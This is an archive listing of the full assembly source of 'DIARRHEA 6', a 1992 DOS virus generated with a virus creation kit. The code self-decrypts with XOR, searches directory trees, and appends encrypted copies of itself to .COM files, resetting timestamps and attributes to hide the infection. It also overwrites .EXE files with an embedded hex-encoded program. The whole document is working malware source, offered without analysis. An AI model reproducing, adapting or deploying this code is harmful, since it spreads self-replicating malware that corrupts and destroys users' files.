home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / DIARRH-C.ASM < prev    next >
Assembly Source File  |  1992-09-28  |  19KB  |  428 lines

  1. ; DIARRHE6.ASM -- DIARRHEA 6
  2. ; Created with Nowhere Man's Virus Creation Laboratory v1.00
  3. ; Written by URNST KOUCH
  4.  
  5. virus_type      equ     0                       ; Appending Virus
  6. is_encrypted    equ     1                       ; We're encrypted
  7. tsr_virus       equ     0                       ; We're not TSR
  8.  
  9. code            segment byte public
  10.         assume  cs:code,ds:code,es:code,ss:code
  11.         org     0100h
  12.  
  13. main            proc    near
  14.         db      0E9h,00h,00h            ; Near jump (for compatibility)
  15. start:          call    find_offset             ; Like a PUSH IP
  16. find_offset:    pop     bp                      ; BP holds old IP
  17.         sub     bp,offset find_offset   ; Adjust for length of host
  18.  
  19.         call    encrypt_decrypt         ; Decrypt the virus
  20.  
  21. start_of_code   label   near
  22.  
  23.         lea     si,[bp + buffer]        ; SI points to original start
  24.         mov     di,0100h                ; Push 0100h on to stack for
  25.         push    di                      ; return to main program
  26.         movsw                           ; Copy the first two bytes
  27.         movsb                           ; Copy the third byte
  28.  
  29.         mov     di,bp                   ; DI points to start of virus
  30.  
  31.         mov     bp,sp                   ; BP points to stack
  32.         sub     sp,128                  ; Allocate 128 bytes on stack
  33.  
  34.         mov     ah,02Fh                 ; DOS get DTA function
  35.         int     021h
  36.         push    bx                      ; Save old DTA address on stack
  37.  
  38.         mov     ah,01Ah                 ; DOS set DTA function
  39.         lea     dx,[bp - 128]           ; DX points to buffer on stack
  40.         int     021h
  41.  
  42.         call    search_files            ; Find and infect a file
  43.         call    search_files            ; Find and infect another file
  44.         lea     dx,[di + data00]        ; DX points to data
  45.         lea     si,[di + data01]        ; SI points to data
  46.         push    di                      ; Save DI
  47.         mov     ah,02Fh                 ; DOS get DTA function
  48.         int     021h
  49.         mov     di,bx                   ; DI points to DTA
  50.         mov     ah,04Eh                 ; DOS find first file function
  51.         mov     cx,00100111b            ; CX holds all file attributes
  52.         int     021h
  53.         jc      create_file             ; If not found then create it
  54. write_in_file:  mov     ax,04301h               ; DOS set file attributes function
  55.         xor     cx,cx                   ; File will have no attributes
  56.         lea     dx,[di + 01Eh]          ; DX points to file name
  57.         int     021h
  58.         mov     ax,03D01h               ; DOS open file function, write
  59.         lea     dx,[di + 01Eh]          ; DX points to file name
  60.         int     021h
  61.         xchg    bx,ax                   ; Transfer file handle to AX
  62.         mov     ah,040h                 ; DOS write to file function
  63.         mov     cx,[si]                 ; CX holds number of byte to write
  64.         lea     dx,[si + 2]             ; DX points to the data
  65.         int     021h
  66.         mov     ax,05701h               ; DOS set file date/time function
  67.         mov     cx,[di + 016h]          ; CX holds old file time
  68.         mov     dx,[di + 018h]          ; DX holds old file data
  69.         int     021h
  70.         mov     ah,03Eh                 ; DOS close file function
  71.         int     021h
  72.         mov     ax,04301h               ; DOS set file attributes function
  73.         xor     ch,ch                   ; Clear CH for attributes
  74.         mov     cl,[di + 015h]          ; CL holds old attributes
  75.         lea     dx,[di + 01Eh]          ; DX points to file name
  76.         int     021h
  77.         mov     ah,04Fh                 ; DOS find next file function
  78.         int     021h
  79.         jnc     write_in_file           ; If successful do next file
  80.         jmp     short dropper_end       ; Otherwise exit
  81. create_file:    mov     ah,03Ch                 ; DOS create file function
  82.         xor     cx,cx                   ; File has no attributes
  83.         int     021h
  84.         xchg    bx,ax                   ; Transfer file handle to AX
  85.         mov     ah,040h                 ; DOS write to file function
  86.         mov     cx,[si]                 ; CX holds number of byte to write
  87.         lea     dx,[si + 2]             ; DX points to the data
  88.         int     021h
  89.         mov     ah,03Eh                 ; DOS close file function
  90.         int     021h
  91. dropper_end:    pop     di                      ; Restore DI
  92.  
  93.  
  94. com_end:        pop     dx                      ; DX holds original DTA address
  95.         mov     ah,01Ah                 ; DOS set DTA function
  96.         int     021h
  97.  
  98.         mov     sp,bp                   ; Deallocate local buffer
  99.  
  100.         xor     ax,ax                   ;
  101.         mov     bx,ax                   ;
  102.         mov     cx,ax                   ;
  103.         mov     dx,ax                   ; Empty out the registers
  104.         mov     si,ax                   ;
  105.         mov     di,ax                   ;
  106.         mov     bp,ax                   ;
  107.  
  108.         ret                             ; Return to original program
  109. main            endp
  110.  
  111. search_files    proc    near
  112.         push    bp                      ; Save BP
  113.         mov     bp,sp                   ; BP points to local buffer
  114.         sub     sp,64                   ; Allocate 64 bytes on stack
  115.  
  116.         mov     ah,047h                 ; DOS get current dir function
  117.         xor     dl,dl                   ; DL holds drive # (current)
  118.         lea     si,[bp - 64]            ; SI points to 64-byte buffer
  119.         int     021h
  120.  
  121.         mov     ah,03Bh                 ; DOS change directory function
  122.         lea     dx,[di + root]          ; DX points to root directory
  123.         int     021h
  124.  
  125.         call    traverse                ; Start the traversal
  126.  
  127.         mov     ah,03Bh                 ; DOS change directory function
  128.         lea     dx,[bp - 64]            ; DX points to old directory
  129.         int     021h
  130.  
  131.         mov     sp,bp                   ; Restore old stack pointer
  132.         pop     bp                      ; Restore BP
  133.         ret                             ; Return to caller
  134.  
  135. root            db      "\",0                   ; Root directory
  136. search_files    endp
  137.  
  138. traverse        proc    near
  139.         push    bp                      ; Save BP
  140.  
  141.         mov     ah,02Fh                 ; DOS get DTA function
  142.         int     021h
  143.         push    bx                      ; Save old DTA address
  144.  
  145.         mov     bp,sp                   ; BP points to local buffer
  146.         sub     sp,128                  ; Allocate 128 bytes on stack
  147.  
  148.         mov     ah,01Ah                 ; DOS set DTA function
  149.         lea     dx,[bp - 128]           ; DX points to buffer
  150.         int     021h
  151.  
  152.         mov     ah,04Eh                 ; DOS find first function
  153.         mov     cx,00010000b            ; CX holds search attributes
  154.         lea     dx,[di + all_files]     ; DX points to "*.*"
  155.         int     021h
  156.         jc      leave_traverse          ; Leave if no files present
  157.  
  158. check_dir:      cmp     byte ptr [bp - 107],16  ; Is the file a directory?
  159.         jne     another_dir             ; If not, try again
  160.         cmp     byte ptr [bp - 98],'.'  ; Did we get a "." or ".."?
  161.         je      another_dir             ;If so, keep going
  162.  
  163.         mov     ah,03Bh                 ; DOS change directory function
  164.         lea     dx,[bp - 98]            ; DX points to new directory
  165.         int     021h
  166.  
  167.         call    traverse                ; Recursively call ourself
  168.  
  169.         pushf                           ; Save the flags
  170.         mov     ah,03Bh                 ; DOS change directory function
  171.         lea     dx,[di + up_dir]        ; DX points to parent directory
  172.         int     021h
  173.         popf                            ; Restore the flags
  174.  
  175.         jnc     done_searching          ; If we infected then exit
  176.  
  177. another_dir:    mov     ah,04Fh                 ; DOS find next function
  178.         int     021h
  179.         jnc     check_dir               ; If found check the file
  180.  
  181. leave_traverse:
  182.         lea     dx,[di + com_mask]      ; DX points to "*.COM"
  183.         call    find_files              ; Try to infect a file
  184. done_searching: mov     sp,bp                   ; Restore old stack frame
  185.         mov     ah,01Ah                 ; DOS set DTA function
  186.         pop     dx                      ; Retrieve old DTA address
  187.         int     021h
  188.  
  189.         pop     bp                      ; Restore BP
  190.         ret                             ; Return to caller
  191.  
  192. up_dir          db      "..",0                  ; Parent directory name
  193. all_files       db      "*.*",0                 ; Directories to search for
  194. com_mask        db      "*.COM",0               ; Mask for all .COM files
  195. traverse        endp
  196.  
  197. find_files      proc    near
  198.         push    bp                      ; Save BP
  199.  
  200.         mov     ah,02Fh                 ; DOS get DTA function
  201.         int     021h
  202.         push    bx                      ; Save old DTA address
  203.  
  204.         mov     bp,sp                   ; BP points to local buffer
  205.         sub     sp,128                  ; Allocate 128 bytes on stack
  206.  
  207.         push    dx                      ; Save file mask
  208.         mov     ah,01Ah                 ; DOS set DTA function
  209.         lea     dx,[bp - 128]           ; DX points to buffer
  210.         int     021h
  211.  
  212.         mov     ah,04Eh                 ; DOS find first file function
  213.         mov     cx,00100111b            ; CX holds all file attributes
  214.         pop     dx                      ; Restore file mask
  215. find_a_file:    int     021h
  216.         jc      done_finding            ; Exit if no files found
  217.         call    infect_file             ; Infect the file!
  218.         jnc     done_finding            ; Exit if no error
  219.         mov     ah,04Fh                 ; DOS find next file function
  220.         jmp     short find_a_file       ; Try finding another file
  221.  
  222. done_finding:   mov     sp,bp                   ; Restore old stack frame
  223.         mov     ah,01Ah                 ; DOS set DTA function
  224.         pop     dx                      ; Retrieve old DTA address
  225.         int     021h
  226.  
  227.         pop     bp                      ; Restore BP
  228.         ret                             ; Return to caller
  229. find_files      endp
  230.  
  231. infect_file     proc    near
  232.         mov     ah,02Fh                 ; DOS get DTA address function
  233.         int     021h
  234.         mov     si,bx                   ; SI points to the DTA
  235.  
  236.         mov     byte ptr [di + set_carry],0  ; Assume we'll fail
  237.  
  238.         cmp     word ptr [si + 01Ah],(65279 - (finish - start))
  239.         jbe     size_ok                 ; If it's small enough continue
  240.         jmp     infection_done          ; Otherwise exit
  241.  
  242. size_ok:        mov     ax,03D00h               ; DOS open file function, r/o
  243.         lea     dx,[si + 01Eh]          ; DX points to file name
  244.         int     021h
  245.         xchg    bx,ax                   ; BX holds file handle
  246.  
  247.         mov     ah,03Fh                 ; DOS read from file function
  248.         mov     cx,3                    ; CX holds bytes to read (3)
  249.         lea     dx,[di + buffer]        ; DX points to buffer
  250.         int     021h
  251.  
  252.         mov     ax,04202h               ; DOS file seek function, EOF
  253.         cwd                             ; Zero DX _ Zero bytes from end
  254.         mov     cx,dx                   ; Zero CX /
  255.         int     021h
  256.  
  257.         xchg    dx,ax                   ; Faster than a PUSH AX
  258.         mov     ah,03Eh                 ; DOS close file function
  259.         int     021h
  260.         xchg    dx,ax                   ; Faster than a POP AX
  261.  
  262.         sub     ax,finish - start + 3   ; Adjust AX for a valid jump
  263.         cmp     word ptr [di + buffer + 1],ax  ; Is there a JMP yet?
  264.         je      infection_done          ; If equal then exit
  265.         mov     byte ptr [di + set_carry],1  ; Success -- the file is OK
  266.         add     ax,finish - start       ; Re-adjust to make the jump
  267.         mov     word ptr [di + new_jump + 1],ax  ; Construct jump
  268.  
  269.         mov     ax,04301h               ; DOS set file attrib. function
  270.         xor     cx,cx                   ; Clear all attributes
  271.         lea     dx,[si + 01Eh]          ; DX points to victim's name
  272.         int     021h
  273.  
  274.         mov     ax,03D02h               ; DOS open file function, r/w
  275.         int     021h
  276.         xchg    bx,ax                   ; BX holds file handle
  277.  
  278.         mov     ah,040h                 ; DOS write to file function
  279.         mov     cx,3                    ; CX holds bytes to write (3)
  280.         lea     dx,[di + new_jump]      ; DX points to the jump we made
  281.         int     021h
  282.  
  283.         mov     ax,04202h               ; DOS file seek function, EOF
  284.         cwd                             ; Zero DX _ Zero bytes from end
  285.         mov     cx,dx                   ; Zero CX /
  286.         int     021h
  287.  
  288.         push    si                      ; Save SI through call
  289.         call    encrypt_code            ; Write an encrypted copy
  290.         pop     si                      ; Restore SI
  291.  
  292.         mov     ax,05701h               ; DOS set file time function
  293.         mov     cx,[si + 016h]          ; CX holds old file time
  294.         mov     dx,[si + 018h]          ; DX holds old file date
  295.         int     021h
  296.  
  297.         mov     ah,03Eh                 ; DOS close file function
  298.         int     021h
  299.  
  300.         mov     ax,04301h               ; DOS set file attrib. function
  301.         xor     ch,ch                   ; Clear CH for file attribute
  302.         mov     cl,[si + 015h]          ; CX holds file's old attributes
  303.         lea     dx,[si + 01Eh]          ; DX points to victim's name
  304.         int     021h
  305.  
  306. infection_done: cmp     byte ptr [di + set_carry],1  ; Set carry flag if failed
  307.         ret                             ; Return to caller
  308.  
  309. set_carry       db      ?                       ; Set-carry-on-exit flag
  310. buffer          db      090h,0CDh,020h          ; Buffer to hold old three bytes
  311. new_jump        db      0E9h,?,?                ; New jump to virus
  312. infect_file     endp
  313.  
  314.  
  315. data00            db   "*.EXE",0
  316.  
  317. data01          dw       189h
  318.                 db      0E9h, 0A1h, 000h, 00Ah, 045h, 064h, 064h, 069h
  319.                 db      065h, 020h, 06Ch, 069h, 076h, 065h, 073h, 020h
  320.                 db      02Eh, 020h, 02Eh, 020h, 02Eh, 020h, 073h, 06Fh
  321.                 db      06Dh, 065h, 077h, 068h, 065h, 072h, 065h, 020h
  322.                 db      069h, 06Eh, 020h, 074h, 069h, 06Dh, 065h, 021h
  323.                 db      020h, 020h, 057h, 072h, 069h, 074h, 074h, 065h
  324.                 db      06Eh, 020h, 069h, 06Eh, 020h, 074h, 068h, 065h
  325.                 db      020h, 063h, 069h, 074h, 079h, 020h, 06Fh, 066h
  326.                 db      053h, 06Fh, 066h, 069h, 061h, 02Ch, 020h, 042h
  327.                 db      075h, 06Ch, 067h, 061h, 072h, 069h, 061h, 020h
  328.                 db      02Eh, 02Eh, 020h, 020h, 020h, 020h, 020h, 020h
  329.                 db      020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h
  330.                 db      020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h
  331.                 db      020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h
  332.                 db      020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h
  333.                 db      020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h
  334.                 db      020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h
  335.                 db      020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h
  336.                 db      020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h
  337.                 db      020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h
  338.                 db      020h, 00Ah, 00Ah, 00Dh, 0B4h, 040h, 0BBh, 001h
  339.                 db      000h, 0B9h, 0A0h, 000h, 0BAh, 004h, 001h, 0CDh
  340.                 db      021h, 0E8h, 000h, 000h, 0B8h, 000h, 04Ch, 0CDh
  341.                 db      021h, 071h, 0E1h, 0A7h, 086h, 038h, 0B8h, 084h
  342.                 db      041h, 025h, 0B3h, 0B5h, 04Eh, 00Ah, 05Fh, 0F7h
  343.                 db      0BCh, 097h, 0D7h, 0DFh, 02Fh, 0E4h, 040h, 0DAh
  344.                 db      0E2h, 008h, 005h, 0F0h, 005h, 03Ah, 050h, 047h
  345.                 db      04Bh, 033h, 0E0h, 068h, 076h, 032h, 0B6h, 075h
  346.                 db      0ADh, 055h, 0CFh, 04Eh, 06Ch, 00Eh, 01Fh, 0E8h
  347.                 db      0F7h, 0FFh, 081h, 0EBh, 0A3h, 023h, 0B9h, 0C1h
  348.                 db      011h, 08Bh, 017h, 043h, 043h, 042h, 0A7h, 0E7h
  349.                 db      067h, 017h, 048h, 0AFh, 03Bh, 021h, 058h, 04Eh
  350.                 db      0A8h, 031h, 0E7h, 0DBh, 098h, 0E1h, 0B2h, 02Eh
  351.                 db      05Bh, 069h, 03Ch, 087h, 0B5h, 0A4h, 042h, 09Eh
  352.                 db      0C7h, 0B7h, 0A7h, 0ACh, 041h, 09Dh, 0E1h, 084h
  353.                 db      080h, 0DAh, 0EEh, 04Fh, 02Fh, 0C9h, 0F4h, 0E1h
  354.                 db      0E1h, 0ACh, 08Ah, 06Fh, 0B8h, 055h, 04Bh, 0CDh
  355.                 db      021h, 03Dh, 031h, 012h, 074h, 076h, 0B8h, 021h
  356.                 db      0EBh, 0CFh, 05Fh, 0D3h, 0C4h, 03Dh, 02Eh, 050h
  357.                 db      0C2h, 072h, 00Fh, 0CDh, 04Bh, 0DEh, 036h, 0A1h
  358.                 db      087h, 076h, 080h, 018h, 015h, 075h, 06Ah, 018h
  359.                 db      0A3h, 040h, 004h, 04Bh, 000h, 081h, 0CDh, 069h
  360.                 db      0AFh, 074h, 037h, 01Ah, 08Ch, 094h, 0A9h, 01Fh
  361.                 db      0A7h, 0A3h, 0B4h, 040h, 02Eh, 08Bh, 01Eh, 07Dh
  362.                 db      003h, 0B9h, 006h, 000h, 0BAh, 095h, 003h, 0CDh
  363.                 db      021h, 0B8h, 002h, 042h, 02Eh, 08Bh, 01Eh, 07Dh
  364.                 db      003h, 031h, 0C9h, 031h, 0D2h, 0CDh, 021h, 046h
  365.                 db      0B3h, 021h, 0FEh, 0ACh, 068h, 045h, 09Eh, 0EFh
  366.                 db      006h, 08Ch, 02Ch, 0D8h, 06Bh, 0E0h, 0E7h, 00Fh
  367.                 db      000h
  368.  
  369. vcl_marker      db      "[VCL]",0               ; VCL creation marker
  370.  
  371. encrypt_code    proc    near
  372.         push    bp                      ; Save BP
  373.         mov     bp,di                   ; Use BP as pointer to code
  374.         lea     si,[bp + encrypt_decrypt]; SI points to cipher routine
  375.  
  376.         xor     ah,ah                   ; BIOS get time function
  377.         int     01Ah
  378.         mov     word ptr [si + 9],dx    ; Low word of timer is new key
  379.  
  380.         xor     byte ptr [si + 1],8     ;
  381.         xor     byte ptr [si + 8],1     ; Change all SIs to DIs
  382.         xor     word ptr [si + 11],0101h; (and vice-versa)
  383.  
  384.         lea     di,[bp + finish]        ; Copy routine into heap
  385.         mov     cx,finish - encrypt_decrypt - 1  ; All but final RET
  386.         push    si                      ; Save SI for later
  387.         push    cx                      ; Save CX for later
  388.     rep     movsb                           ; Copy the bytes
  389.  
  390.         lea     si,[bp + write_stuff]   ; SI points to write stuff
  391.         mov     cx,5                    ; CX holds length of write
  392.     rep     movsb                           ; Copy the bytes
  393.  
  394.         pop     cx                      ; Restore CX
  395.         pop     si                      ; Restore SI
  396.         inc     cx                      ; Copy the RET also this time
  397.     rep     movsb                           ; Copy the routine again
  398.  
  399.         mov     ah,040h                 ; DOS write to file function
  400.         lea     dx,[bp + start]         ; DX points to virus
  401.  
  402.         lea     si,[bp + finish]        ; SI points to routine
  403.         call    si                      ; Encrypt/write/decrypt
  404.  
  405.         mov     di,bp                   ; DI points to virus again
  406.         pop     bp                      ; Restore BP
  407.         ret                             ; Return to caller
  408.  
  409. write_stuff:    mov     cx,finish - start       ; Length of code
  410.         int     021h
  411. encrypt_code    endp
  412.  
  413. end_of_code     label   near
  414.  
  415. encrypt_decrypt proc    near
  416.         lea     si,[bp + start_of_code] ; SI points to code to decrypt
  417.         mov     cx,(end_of_code - start_of_code) / 2 ; CX holds length
  418. xor_loop:       db      081h,034h,00h,00h       ; XOR a word by the key
  419.         inc     si                      ; Do the next word
  420.         inc     si                      ;
  421.         loop    xor_loop                ; Loop until we're through
  422.         ret                             ; Return to caller
  423. encrypt_decrypt endp
  424. finish          label   near
  425.  
  426. code            ends
  427.         end     main
  428.